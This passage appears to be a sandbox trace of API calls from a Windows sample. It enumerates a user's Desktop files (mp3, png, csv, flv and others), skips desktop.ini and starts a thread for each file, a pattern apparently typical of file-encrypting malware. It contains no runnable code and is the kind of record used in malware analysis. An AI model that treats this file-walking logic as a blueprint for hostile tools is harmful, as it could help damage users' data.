[0046.231] wcscat (in: _Dest=0x400298, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.231] wcscat (in: _Dest=0x400298, _Source="6ymvvRw1Ouah2f14.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6ymvvRw1Ouah2f14.mp3" [0046.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0046.232] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802592e0, ftCreationTime.dwHighDateTime=0x1d4cbcc, ftLastAccessTime.dwLowDateTime=0x62f516c0, ftLastAccessTime.dwHighDateTime=0x1d4c611, ftLastWriteTime.dwLowDateTime=0x62f516c0, ftLastWriteTime.dwHighDateTime=0x1d4c611, nFileSizeHigh=0x0, nFileSizeLow=0x11f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="9aB7-7.mp3", cAlternateFileName="")) returned 1 [0046.232] wcscmp (_String1="9aB7-7.mp3", _String2=".") returned 1 [0046.232] wcscmp (_String1="9aB7-7.mp3", _String2="..") returned 1 [0046.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420d98 [0046.232] wcscpy (in: _Dest=0x420d98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.232] wcscat (in: _Dest=0x420d98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.232] wcscat (in: _Dest=0x420d98, _Source="9aB7-7.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9aB7-7.mp3" [0046.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x420d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0046.233] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ca1c70, ftCreationTime.dwHighDateTime=0x1d4ce14, ftLastAccessTime.dwLowDateTime=0x714aac70, ftLastAccessTime.dwHighDateTime=0x1d4cd1a, ftLastWriteTime.dwLowDateTime=0x714aac70, ftLastWriteTime.dwHighDateTime=0x1d4cd1a, nFileSizeHigh=0x0, nFileSizeLow=0xf5b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="cQPwpeX2VSv9pxqs0XDY.mp3", cAlternateFileName="CQPWPE~1.MP3")) returned 1 [0046.233] wcscmp (_String1="cQPwpeX2VSv9pxqs0XDY.mp3", _String2=".") returned 1 [0046.233] wcscmp (_String1="cQPwpeX2VSv9pxqs0XDY.mp3", _String2="..") returned 1 [0046.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446c38 [0046.233] wcscpy (in: _Dest=0x446c38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.233] wcscat (in: _Dest=0x446c38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.234] wcscat (in: _Dest=0x446c38, _Source="cQPwpeX2VSv9pxqs0XDY.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cQPwpeX2VSv9pxqs0XDY.mp3" [0046.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0046.235] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.235] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.235] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.235] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd69656f0, ftCreationTime.dwHighDateTime=0x1d4c7b2, ftLastAccessTime.dwLowDateTime=0x1d47f210, ftLastAccessTime.dwHighDateTime=0x1d4d0fb, ftLastWriteTime.dwLowDateTime=0x1d47f210, ftLastWriteTime.dwHighDateTime=0x1d4d0fb, nFileSizeHigh=0x0, nFileSizeLow=0x18dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="E-vSJACofd9.m4a", cAlternateFileName="E-VSJA~1.M4A")) returned 1 [0046.235] wcscmp (_String1="E-vSJACofd9.m4a", _String2=".") returned 1 [0046.235] wcscmp (_String1="E-vSJACofd9.m4a", _String2="..") returned 1 [0046.235] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418d70 [0046.235] wcscpy (in: _Dest=0x418d70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.235] wcscat (in: _Dest=0x418d70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.235] wcscat (in: _Dest=0x418d70, _Source="E-vSJACofd9.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a" [0046.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0046.236] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55414990, ftCreationTime.dwHighDateTime=0x1d4d3f4, ftLastAccessTime.dwLowDateTime=0x85182260, ftLastAccessTime.dwHighDateTime=0x1d4d066, ftLastWriteTime.dwLowDateTime=0x85182260, ftLastWriteTime.dwHighDateTime=0x1d4d066, nFileSizeHigh=0x0, nFileSizeLow=0x17706, dwReserved0=0x0, dwReserved1=0x0, cFileName="fFuP1EVpdZw.m4a", cAlternateFileName="FFUP1E~1.M4A")) returned 1 [0046.236] wcscmp (_String1="fFuP1EVpdZw.m4a", _String2=".") returned 1 [0046.236] wcscmp (_String1="fFuP1EVpdZw.m4a", _String2="..") returned 1 [0046.236] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418de8 [0046.236] wcscpy (in: _Dest=0x418de8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.236] wcscat (in: _Dest=0x418de8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.236] wcscat (in: _Dest=0x418de8, _Source="fFuP1EVpdZw.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a" [0046.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0046.237] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8a7620, ftCreationTime.dwHighDateTime=0x1d4d07d, ftLastAccessTime.dwLowDateTime=0x60bc0210, ftLastAccessTime.dwHighDateTime=0x1d4cc24, ftLastWriteTime.dwLowDateTime=0x60bc0210, ftLastWriteTime.dwHighDateTime=0x1d4cc24, nFileSizeHigh=0x0, nFileSizeLow=0x2d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="GH4lHxcUg1oiF.csv", cAlternateFileName="GH4LHX~1.CSV")) returned 1 [0046.237] wcscmp (_String1="GH4lHxcUg1oiF.csv", _String2=".") returned 1 [0046.237] wcscmp (_String1="GH4lHxcUg1oiF.csv", _String2="..") returned 1 [0046.237] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418e60 [0046.237] wcscpy (in: _Dest=0x418e60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.237] wcscat (in: _Dest=0x418e60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.237] wcscat (in: _Dest=0x418e60, _Source="GH4lHxcUg1oiF.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv" [0046.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0046.238] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8da914e0, ftCreationTime.dwHighDateTime=0x1d4d52d, ftLastAccessTime.dwLowDateTime=0x75cb8c40, ftLastAccessTime.dwHighDateTime=0x1d4c98e, ftLastWriteTime.dwLowDateTime=0x75cb8c40, ftLastWriteTime.dwHighDateTime=0x1d4c98e, nFileSizeHigh=0x0, nFileSizeLow=0x4d55, dwReserved0=0x0, dwReserved1=0x0, cFileName="GT7a13LfUNvpkBWLAb_.bmp", cAlternateFileName="GT7A13~1.BMP")) returned 1 [0046.238] wcscmp (_String1="GT7a13LfUNvpkBWLAb_.bmp", _String2=".") returned 1 [0046.238] wcscmp (_String1="GT7a13LfUNvpkBWLAb_.bmp", _String2="..") returned 1 [0046.238] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x446cc0 [0046.238] wcscpy (in: _Dest=0x446cc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.238] wcscat (in: _Dest=0x446cc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.238] wcscat (in: _Dest=0x446cc0, _Source="GT7a13LfUNvpkBWLAb_.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp" [0046.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0046.239] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b595b30, ftCreationTime.dwHighDateTime=0x1d4cb9a, ftLastAccessTime.dwLowDateTime=0x9f73d7f0, ftLastAccessTime.dwHighDateTime=0x1d4d221, ftLastWriteTime.dwLowDateTime=0x9f73d7f0, ftLastWriteTime.dwHighDateTime=0x1d4d221, nFileSizeHigh=0x0, nFileSizeLow=0x135ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="H4SoUBod.mp3", cAlternateFileName="")) returned 1 [0046.239] wcscmp (_String1="H4SoUBod.mp3", _String2=".") returned 1 [0046.239] wcscmp (_String1="H4SoUBod.mp3", _String2="..") returned 1 [0046.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420fc8 [0046.239] wcscpy (in: _Dest=0x420fc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.240] wcscat (in: _Dest=0x420fc8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.240] wcscat (in: _Dest=0x420fc8, _Source="H4SoUBod.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4SoUBod.mp3" [0046.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x420fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0046.241] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9830920, ftCreationTime.dwHighDateTime=0x1d4d05d, ftLastAccessTime.dwLowDateTime=0x157cade0, ftLastAccessTime.dwHighDateTime=0x1d4cba2, ftLastWriteTime.dwLowDateTime=0x157cade0, ftLastWriteTime.dwHighDateTime=0x1d4cba2, nFileSizeHigh=0x0, nFileSizeLow=0x17bed, dwReserved0=0x0, dwReserved1=0x0, cFileName="I43kq.png", cAlternateFileName="")) returned 1 [0046.241] wcscmp (_String1="I43kq.png", _String2=".") returned 1 [0046.241] wcscmp (_String1="I43kq.png", _String2="..") returned 1 [0046.241] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445f18 [0046.241] wcscpy (in: _Dest=0x445f18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.241] wcscat (in: _Dest=0x445f18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.241] wcscat (in: _Dest=0x445f18, _Source="I43kq.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png" [0046.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0046.242] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7908db10, ftCreationTime.dwHighDateTime=0x1d4cf6f, ftLastAccessTime.dwLowDateTime=0x737de20, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x737de20, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x1839e, dwReserved0=0x0, dwReserved1=0x0, cFileName="JEJ8DaMQSC.mp4", cAlternateFileName="JEJ8DA~1.MP4")) returned 1 [0046.242] wcscmp (_String1="JEJ8DaMQSC.mp4", _String2=".") returned 1 [0046.242] wcscmp (_String1="JEJ8DaMQSC.mp4", _String2="..") returned 1 [0046.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418ed8 [0046.242] wcscpy (in: _Dest=0x418ed8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.242] wcscat (in: _Dest=0x418ed8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.242] wcscat (in: _Dest=0x418ed8, _Source="JEJ8DaMQSC.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4" [0046.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418ed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0046.243] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1beecaf0, ftCreationTime.dwHighDateTime=0x1d4c909, ftLastAccessTime.dwLowDateTime=0xfc5a4990, ftLastAccessTime.dwHighDateTime=0x1d4ca10, ftLastWriteTime.dwLowDateTime=0xfc5a4990, ftLastWriteTime.dwHighDateTime=0x1d4ca10, nFileSizeHigh=0x0, nFileSizeLow=0x16595, dwReserved0=0x0, dwReserved1=0x0, cFileName="jiU9--Vb2fyV.png", cAlternateFileName="JIU9--~1.PNG")) returned 1 [0046.243] wcscmp (_String1="jiU9--Vb2fyV.png", _String2=".") returned 1 [0046.243] wcscmp (_String1="jiU9--Vb2fyV.png", _String2="..") returned 1 [0046.243] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x418f50 [0046.244] wcscpy (in: _Dest=0x418f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.244] wcscat (in: _Dest=0x418f50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.244] wcscat (in: _Dest=0x418f50, _Source="jiU9--Vb2fyV.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png" [0046.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0046.245] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b3044f0, ftCreationTime.dwHighDateTime=0x1d4cf8f, ftLastAccessTime.dwLowDateTime=0x1ae6a280, ftLastAccessTime.dwHighDateTime=0x1d4c9f5, ftLastWriteTime.dwLowDateTime=0x1ae6a280, ftLastWriteTime.dwHighDateTime=0x1d4c9f5, nFileSizeHigh=0x0, nFileSizeLow=0x983e, dwReserved0=0x0, dwReserved1=0x0, cFileName="kX_cqPTP6-I4t.flv", cAlternateFileName="KX_CQP~1.FLV")) returned 1 [0046.245] wcscmp (_String1="kX_cqPTP6-I4t.flv", _String2=".") returned 1 [0046.245] wcscmp (_String1="kX_cqPTP6-I4t.flv", _String2="..") returned 1 [0046.245] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418fc8 [0046.245] wcscpy (in: _Dest=0x418fc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.245] wcscat (in: _Dest=0x418fc8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.245] wcscat (in: _Dest=0x418fc8, _Source="kX_cqPTP6-I4t.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv" [0046.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0046.246] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a13950, ftCreationTime.dwHighDateTime=0x1d4cc0b, ftLastAccessTime.dwLowDateTime=0x3dcaa710, ftLastAccessTime.dwHighDateTime=0x1d4c54a, ftLastWriteTime.dwLowDateTime=0x3dcaa710, ftLastWriteTime.dwHighDateTime=0x1d4c54a, nFileSizeHigh=0x0, nFileSizeLow=0xac27, dwReserved0=0x0, dwReserved1=0x0, cFileName="lVi8_jDEOiqVFCN9B.bmp", cAlternateFileName="LVI8_J~1.BMP")) returned 1 [0046.246] wcscmp (_String1="lVi8_jDEOiqVFCN9B.bmp", _String2=".") returned 1 [0046.246] wcscmp (_String1="lVi8_jDEOiqVFCN9B.bmp", _String2="..") returned 1 [0046.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400318 [0046.246] wcscpy (in: _Dest=0x400318, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.246] wcscat (in: _Dest=0x400318, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.246] wcscat (in: _Dest=0x400318, _Source="lVi8_jDEOiqVFCN9B.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp" [0046.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0046.247] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddf58110, ftCreationTime.dwHighDateTime=0x1d4d549, ftLastAccessTime.dwLowDateTime=0x3da6a7b0, ftLastAccessTime.dwHighDateTime=0x1d4ccc6, ftLastWriteTime.dwLowDateTime=0x3da6a7b0, ftLastWriteTime.dwHighDateTime=0x1d4ccc6, nFileSizeHigh=0x0, nFileSizeLow=0xe16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="lxI6G-_wCui30eN8.flv", cAlternateFileName="LXI6G-~1.FLV")) returned 1 [0046.247] wcscmp (_String1="lxI6G-_wCui30eN8.flv", _String2=".") returned 1 [0046.247] wcscmp (_String1="lxI6G-_wCui30eN8.flv", _String2="..") returned 1 [0046.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400398 [0046.247] wcscpy (in: _Dest=0x400398, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.247] wcscat (in: _Dest=0x400398, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.248] wcscat (in: _Dest=0x400398, _Source="lxI6G-_wCui30eN8.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv" [0046.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0046.248] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa09cf0, ftCreationTime.dwHighDateTime=0x1d4c77d, ftLastAccessTime.dwLowDateTime=0xb1bf92d0, ftLastAccessTime.dwHighDateTime=0x1d4d39f, ftLastWriteTime.dwLowDateTime=0xb1bf92d0, ftLastWriteTime.dwHighDateTime=0x1d4d39f, nFileSizeHigh=0x0, nFileSizeLow=0x1797e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJjpWZ.wav", cAlternateFileName="")) returned 1 [0046.249] wcscmp (_String1="PJjpWZ.wav", _String2=".") returned 1 [0046.249] wcscmp (_String1="PJjpWZ.wav", _String2="..") returned 1 [0046.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x421038 [0046.249] wcscpy (in: _Dest=0x421038, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.249] wcscat (in: _Dest=0x421038, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.249] wcscat (in: _Dest=0x421038, _Source="PJjpWZ.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav" [0046.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0046.250] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ebe0e0, ftCreationTime.dwHighDateTime=0x1d4d22f, ftLastAccessTime.dwLowDateTime=0xb86650f0, ftLastAccessTime.dwHighDateTime=0x1d4cff4, ftLastWriteTime.dwLowDateTime=0xb86650f0, ftLastWriteTime.dwHighDateTime=0x1d4cff4, nFileSizeHigh=0x0, nFileSizeLow=0x9e31, dwReserved0=0x0, dwReserved1=0x0, 